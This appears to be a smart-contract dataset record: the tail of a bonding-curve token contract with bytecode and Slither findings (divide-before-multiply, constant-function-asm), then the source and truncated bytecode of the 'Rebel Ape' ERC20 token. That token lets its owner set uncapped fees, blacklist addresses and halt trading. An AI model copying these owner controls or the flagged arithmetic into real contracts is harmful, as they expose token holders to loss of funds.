) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
0x6080604052600436106100e45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b81146100f257806306fdde031461012557806310d0ffdd146101af57806318160ddd146101c757806322609373146101dc578063313ce567146101f45780633ccfd60b1461021f5780634b7503341461023657806370a082311461024b5780638620410b1461026c57806395d89b4114610281578063a9059cbb14610296578063e4849b32146102ce578063e9fad8ee146102e6578063f088d547146102fb578063fdb5a03e1461030f575b6100ef346000610324565b50005b3480156100fe57600080fd5b50610113600160a060020a0360043516610611565b60408051918252519081900360200190f35b34801561013157600080fd5b5061013a61064c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017457818101518382015260200161015c565b50505050905090810190601f1680156101a15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bb57600080fd5b506101136004356106da565b3480156101d357600080fd5b5061011361070d565b3480156101e857600080fd5b50610113600435610713565b34801561020057600080fd5b5061020961074f565b6040805160ff9092168252519081900360200190f35b34801561022b57600080fd5b50610234610754565b005b34801561024257600080fd5b50610113610827565b34801561025757600080fd5b50610113600160a060020a036004351661087d565b34801561027857600080fd5b50610113610898565b34801561028d57600080fd5b5061013a6108e2565b3480156102a257600080fd5b506102ba600160a060020a036004351660243561093c565b604080519115158252519081900360200190f35b3480156102da57600080fd5b506102346004356109e3565b3480156102f257600080fd5b50610234610b39565b610113600160a060020a0360043516610b66565b34801561031b57600080fd5b50610234610b78565b6000338180808080808061034361033c8c600a610c2e565b6064610c60565b965061035361033c886003610c2e565b955061035f8787610c77565b945061036b8b88610c77565b935061037684610c89565b925068010000000000000000850291506000831180156103a0575060085461039e8482610d18565b115b15156103ab57600080fd5b60085415156103f257600880546a01a784379d99db42000000019055600754600160a060020a031660009081526002602052604090208054692a5a058fc295ed0000000190555b600160a060020a038a161580159061041c575087600160a060020a03168a600160a060020a031614155b1561046257600160a060020a038a166000908152600360205260409020546104449087610d18565b600160a060020a038b166000908152600360205260409020556104e6565b600754600160a060020a0316600081815260036020526040902054909a5061048a9087610d18565b600160a060020a03808c1660009081526003602081905260409091209290925560065416906108fc906064908e02049081150290604051600060405180830381858888f193505050501580156104e4573d6000803e3d6000fd5b505b6000600854111561054a576104fd60085484610d18565b600881905568010000000000000000860281151561051757fe5b6009805492909104909101905560085468010000000000000000860281151561053c57fe5b048302820382039150610550565b60088390555b600160a060020a0388166000908152600260205260409020546105739084610d18565b600160a060020a03808a166000818152600260209081526040808320959095556009546004909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426105dd610898565b604080519485526020850193909352838301919091526060830152519081900360800190a350909998505050505050505050565b600160a060020a0316600090815260046020908152604080832054600290925290912054600954680100000000000000009102919091030490565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106d25780601f106106a7576101008083540402835291602001916106d2565b820191906000526020600020905b8154815290600101906020018083116106b557829003601f168201915b505050505081565b60008080806106ed61033c86600a610c2e565b92506106f98584610c77565b915061070482610c89565b95945050505050565b60085490565b600080600080600854851115151561072a57600080fd5b61073385610d27565b925061074361033c846005610c2e565b91506107048383610c77565b601281565b60008060006107636001610d90565b1161076d57600080fd5b33915061077a6000610d90565b600160a060020a038316600081815260046020908152604080832080546801000000000000000087020190556003909152808220805490839055905193019350909183156108fc0291849190818181858888f193505050501580156107e3573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc919081900360200190a25050565b60008060008060085460001415610844576335a4e9009350610877565b610855670de0b6b3a7640000610d27565b925061086561033c846005610c2e565b91506108718383610c77565b90508093505b50505090565b600160a060020a031660009081526002602052604090205490565b600080600080600854600014156108b557634190ab009350610877565b6108c6670de0b6b3a7640000610d27565b92506108d661033c84600a610c2e565b91506108718383610d18565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106d25780601f106106a7576101008083540402835291602001916106d2565b6000806000610949610dd0565b1161095357600080fd5b503360008181526002602052604090205483111561097057600080fd5b600160a060020a03808216600081815260026020908152604080832080548990039055938816808352918490208054880190558351878152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3600191505b5092915050565b60008060008060008060006109f6610dd0565b11610a0057600080fd5b339550869450610a0f85610d27565b9350610a1f61033c856005610c2e565b9250610a2b8484610c77565b9150610a3960085486610c77565b600855600160a060020a038616600090815260026020526040902054610a5f9086610c77565b600160a060020a03871660009081526002602090815260408083209390935560095460049091529181208054928802680100000000000000008602019283900390556008549192501015610ad557610ad1600954600854680100000000000000008602811515610acb57fe5b04610d18565b6009555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442610b0b610898565b604080519485526020850193909352838301919091526060830152519081900360800190a250505050505050565b3360008181526002602052604081205490811115610b5a57610b5a816109e3565b610b62610754565b5050565b6000610b723483610324565b50919050565b600080600080610b886001610d90565b11610b9257600080fd5b610b9c6000610d90565b33600081815260046020908152604080832080546801000000000000000087020190556003909152812080549082905590920194509250610bde908490610324565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080831515610c4157600091506109dc565b50828202828482811515610c5157fe5b0414610c5957fe5b9392505050565b6000808284811515610c6e57fe5b04949350505050565b600082821115610c8357fe5b50900390565b6008546000906b033b2e3c9fd0803ce80000009082906305f5e100610d05610cff7208f7e32ce7bea5c6fe4820023a2000000000008802662386f26fc100006002860a02016e2684c2e58e9b04570f1fd000000000850201760a70c3c40a64e6c51999090b65f67d924000000000000001610de2565b85610c77565b811515610d0e57fe5b0403949350505050565b600082820183811015610c5957fe5b600854600090670de0b6b3a7640000838101918101908390610d7d6335a4e9008285046305f5e10002018702600283670de0b6b3a763ffff1982890a8b900301046305f5e10002811515610d7757fe5b04610c77565b811515610d8657fe5b0495945050505050565b60003382610da657610da181610611565b610c59565b600160a060020a038116600090815260036020526040902054610dc882610611565b019392505050565b600033610ddc8161087d565b91505090565b80600260018201045b81811015610b72578091506002818285811515610e0457fe5b0401811515610e0f57fe5b049050610deb5600a165627a7a7230582032a6edc8795069978857d9f3064f8407c282cfb9832da96d5c868e12eaa0c1900029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,065
0x0959a9ecedca39fc5b11f57cf71ff98693ed51d5
/** *Submitted for verification at Etherscan.io on 2022-03-22 */ /* https://t.me/rebelape https://rebel-ape.com https://twitter.com/Rebel_Ape_ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract rebelapetoken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Rebel Ape"; string private constant _symbol = "REBEL APE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x5Dd58Fe7bEe64d8f942795297dcE0a92E2ED74f7); address payable private _marketingAddress = payable(0x5Dd58Fe7bEe64d8f942795297dcE0a92E2ED74f7); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104b457600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611963565b6105ff565b005b34801561020a57600080fd5b50604080518082019091526009815268526562656c2041706560b81b60208201525b6040516102399190611a28565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a7d565b61069e565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611aa9565b6106b5565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611aea565b61071e565b34801561036d57600080fd5b506101fc61037c366004611b17565b610769565b34801561038d57600080fd5b506101fc6107b1565b3480156103a257600080fd5b506102c16103b1366004611aea565b6107fc565b3480156103c257600080fd5b506101fc61081e565b3480156103d757600080fd5b506101fc6103e6366004611b32565b610892565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611aea565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611b17565b6108c1565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b50604080518082019091526009815268524542454c2041504560b81b602082015261022c565b3480156104c057600080fd5b506101fc6104cf366004611b32565b610909565b3480156104e057600080fd5b506101fc6104ef366004611b4b565b610938565b34801561050057600080fd5b5061026261050f366004611a7d565b610976565b34801561052057600080fd5b5061026261052f366004611aea565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610983565b34801561056557600080fd5b506101fc610574366004611b7d565b6109d7565b34801561058557600080fd5b506102c1610594366004611c01565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611b32565b610a78565b3480156105eb57600080fd5b506101fc6105fa366004611aea565b610aa7565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611c3a565b60405180910390fd5b60005b815181101561069a5760016010600084848151811061065657610656611c6f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069281611c9b565b915050610635565b5050565b60006106ab338484610b91565b5060015b92915050565b60006106c2848484610cb5565b610714843361070f85604051806060016040528060288152602001611db5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f1565b610b91565b5060019392505050565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e657506013546001600160a01b0316336001600160a01b0316145b6107ef57600080fd5b476107f98161122b565b50565b6001600160a01b0381166000908152600260205260408120546106af90611265565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161062990611c3a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161062990611c3a565b601655565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109335760405162461bcd60e51b815260040161062990611c3a565b601855565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062990611c3a565b600893909355600a91909155600955600b55565b60006106ab338484610cb5565b6012546001600160a01b0316336001600160a01b031614806109b857506013546001600160a01b0316336001600160a01b0316145b6109c157600080fd5b60006109cc306107fc565b90506107f9816112e9565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161062990611c3a565b60005b82811015610a72578160056000868685818110610a2357610a23611c6f565b9050602002016020810190610a389190611aea565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6a81611c9b565b915050610a04565b50505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161062990611c3a565b601755565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b038116610b365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610c545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610ddd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610e0957506000546001600160a01b03838116911614155b156110ea57601554600160a01b900460ff16610ea2576000546001600160a01b03848116911614610ea25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601654811115610ef45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3657506001600160a01b03821660009081526010602052604090205460ff16155b610f8e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6015546001600160a01b038381169116146110135760175481610fb0846107fc565b610fba9190611cb6565b106110135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b600061101e306107fc565b6018546016549192508210159082106110375760165491505b80801561104e5750601554600160a81b900460ff16155b801561106857506015546001600160a01b03868116911614155b801561107d5750601554600160b01b900460ff165b80156110a257506001600160a01b03851660009081526005602052604090205460ff16155b80156110c757506001600160a01b03841660009081526005602052604090205460ff16155b156110e7576110d5826112e9565b4780156110e5576110e54761122b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b8061115e57506015546001600160a01b0385811691161480159061115e57506015546001600160a01b03848116911614155b1561116b575060006111e5565b6015546001600160a01b03858116911614801561119657506014546001600160a01b03848116911614155b156111a857600854600c55600954600d555b6015546001600160a01b0384811691161480156111d357506014546001600160a01b03858116911614155b156111e557600a54600c55600b54600d555b610a7284848484611472565b600081848411156112155760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611cce565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069a573d6000803e3d6000fd5b60006006548211156112cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b60006112d66114a0565b90506112e283826114c3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133157611331611c6f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138557600080fd5b505afa158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd9190611ce5565b816001815181106113d0576113d0611c6f565b6001600160a01b0392831660209182029290920101526014546113f69130911684610b91565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142f908590600090869030904290600401611d02565b600060405180830381600087803b15801561144957600080fd5b505af115801561145d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147f5761147f611505565b61148a848484611533565b80610a7257610a72600e54600c55600f54600d55565b60008060006114ad61162a565b90925090506114bc82826114c3565b9250505090565b60006112e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166a565b600c541580156115155750600d54155b1561151c57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154587611698565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157790876116f5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a69086611737565b6001600160a01b0389166000908152600260205260409020556115c881611796565b6115d284836117e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161791815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164582826114c3565b82101561166157505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168b5760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611d73565b60008060008060008060008060006116b58a600c54600d54611804565b92509250925060006116c56114a0565b905060008060006116d88e878787611859565b919e509c509a509598509396509194505050505091939550919395565b60006112e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b6000806117448385611cb6565b9050838110156112e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b60006117a06114a0565b905060006117ae83836118a9565b306000908152600260205260409020549091506117cb9082611737565b30600090815260026020526040902055505050565b6006546117ed90836116f5565b6006556007546117fd9082611737565b6007